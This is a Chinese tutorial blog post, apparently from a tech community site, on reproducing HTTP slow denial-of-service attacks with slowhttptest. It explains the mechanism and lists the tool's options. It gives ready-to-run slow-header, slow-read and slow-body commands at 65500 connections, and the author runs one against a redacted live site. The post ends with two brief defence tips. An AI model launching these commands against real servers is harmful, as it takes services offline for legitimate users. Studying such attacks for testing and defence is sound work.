http拒绝服务攻击(Avws复现)

1.声明:本文仅限学习研究讨论,切忌做非法乱纪之事!

什么是HTTP慢速攻击?

HTTP慢速攻击是利用HTTP合法机制,以极低的速度往服务器发送HTTP请求,尽量长时间保持连接,不释放,若是达到了Web Server对于并发连接数的上限,同时恶意占用的连接没有被释放,那么服务器端将无法接受新的请求,导致拒绝服务。

简单来说,就是我们每次只发一行,每次发送之间的间隔时间很长,这迟迟未发送结束的HTTP包会占用服务端的资源,当达到服务端处理请求的上限时,这时候再用户对网站正常请求,服务端也处理不了了,导致了拒绝服务。

HTTP 慢速攻击也叫 slow http attack,是一种 DoS 攻击的方式。

目的

消耗服务器的连接和内存资源。

如果客户端持续建立这样的连接,那么服务器上可用的连接将一点一点被占满,从而导致DoS(拒绝服务)。

首先HTTP协议的报文都是一行一行的,类似于:

 
  1. GET / HTTP/1.1\r\n

  2. Host : payloads.online\r\n

  3. Connection: keep-alive\r\n

  4. Keep-Alive: 900\r\n

  5. Content-Length: 100000000\r\n

  6. Content_Type: application/x-www-form-urlencoded\r\n

  7. Accept: *.*\r\n

  8. \r\n

那么报文中的\r\n是什么?

\r\n代表一行报文的结束也被称为空行(CRLF),而\r\n\r\n代表整个报文的结束

HTTP慢速攻击分为三类:

  • Slow headers

  • Slow body

  • Slow read

  • 一般使用slowhttptest工具

  • 工具简介

    SlowHTTPTest是一个可配置的应用层拒绝服务攻击测试工具,它可以工作在Linux,OSX和Cygwin环境以及Windows命令行接口,可以帮助安全测试人员检验服务器对慢速攻击的处理能力。

    这个工具可以模拟低带宽耗费下的DoS攻击,比如慢速攻击,慢速HTTP POST,通过并发连接池进行的慢速读攻击(基于TCP持久时间)等。慢速攻击基于HTTP协议,通过精心的设计和构造,这种特殊的请求包会造成服务器延时,而当服务器负载能力消耗过大即会导致拒绝服务。

    使用参数介绍

     
       

    测试模式:
    -H                           slow header,slowloris默认采用此模式          
    -B                           slow body
    -R                           远程攻击又名Apache killer
    -X                           slow read

    报告选项:
    -g                           生成具有套接字状态更改的统计信息(默认关闭)
    -o file_prefix               将统计信息输出保存在file.html和file.csv中(需要-g)
    -v level                     日志信息,详细级别0-4:致命,信息,错误,警告,调试

    常规选项:
    -c connections               连接目标连接数(50)
    -i seconds                   后续数据之间的间隔(以秒为单位)(10)
    -l seconds                   测试目标时间长度,以秒为单位(240)
    -r rate                       每秒连接数(50)
    -s                           如果需要,Content-Length标头的值(4096)
    -t                           在请求中使用的动词,对于slow header和response,默认为GET;对于slow body,默认为POST
    -u URL                       目标的绝对URL(http://localhost/)
    -x                           在slowloris and Slow POST tests模式中,指定发送的最大数据长度
    -f                           Content-Type标头的值(application/x-www-form-urlencoded)
    -m                           接受(Accept)标头的值(text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5)

    探测/代理选项:
    -d host:port                 为所有连接指定代理
    -e host:port                 为探测连接指定代理
    -p seconds                   指定等待时间来确认DoS攻击已经成功

    range attack特定选项:
    -a                           标头中的起始位置
    -b                           标头中的结束位置

    slow read特定选项:
    -k                           在连接中重复相同请求的次数。如果服务器支持永久连接,则用于成倍增加响应大小。
    -n                           从recv缓冲区读取操作之间的时间间隔,以秒为单位(1)
    -w                           slow read模式中指定tcp窗口范围下限
    -y                           slow read模式中指定tcp窗口范围上限
    -z                           在每次的read中,从buffer中读取数据量

    对于三种类型的慢速攻击,分别给出payload:(摘抄的!)

    Slow Header

    1

    slowhttptest -c 65500 -H -i 10 -r 200 -s 8192 -t SLOWHEADER -u http://vulurl.com

    该攻击会像我们刚才讲的慢速传递HTTP报文,占用服务器资源让其等待我们最后的CRLF。

    Slow Read

    1

    slowhttptest -c 65500 -X -r 1000 -w 10 -y 20 -t SLOWREAD -n 5 -z 32 -u http://vulurl.com

    该攻击会在Web服务器响应内容传输回来的时候,我们客户端缓慢的读取响应报文,这样服务器端也会一直等待客户端来接收完毕。

    Slow Post

    1

    slowhttptest -c 65500 -B -i 10 -r 200 -s 8192 -t SLOWBODY -u http://vulurl.com

    该攻击会构造一个POST数据包,将数据缓慢传输,使服务器端一直等待接收报文。

    找一个存在漏洞的网址进行检测:

    使用kali 自带的slowhttptest,Slow Post的payload:

    1

    slowhttptest -c 65500 -B -i 10 -r 200 -s 8192 -t SLOWBODY -u https://xxxxxx

如何防御

  1. 可对每秒钟http并发连接数进行检查。

  2. 对web服务器的http头部传输的最大许可时间进行限制。

  • 0
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值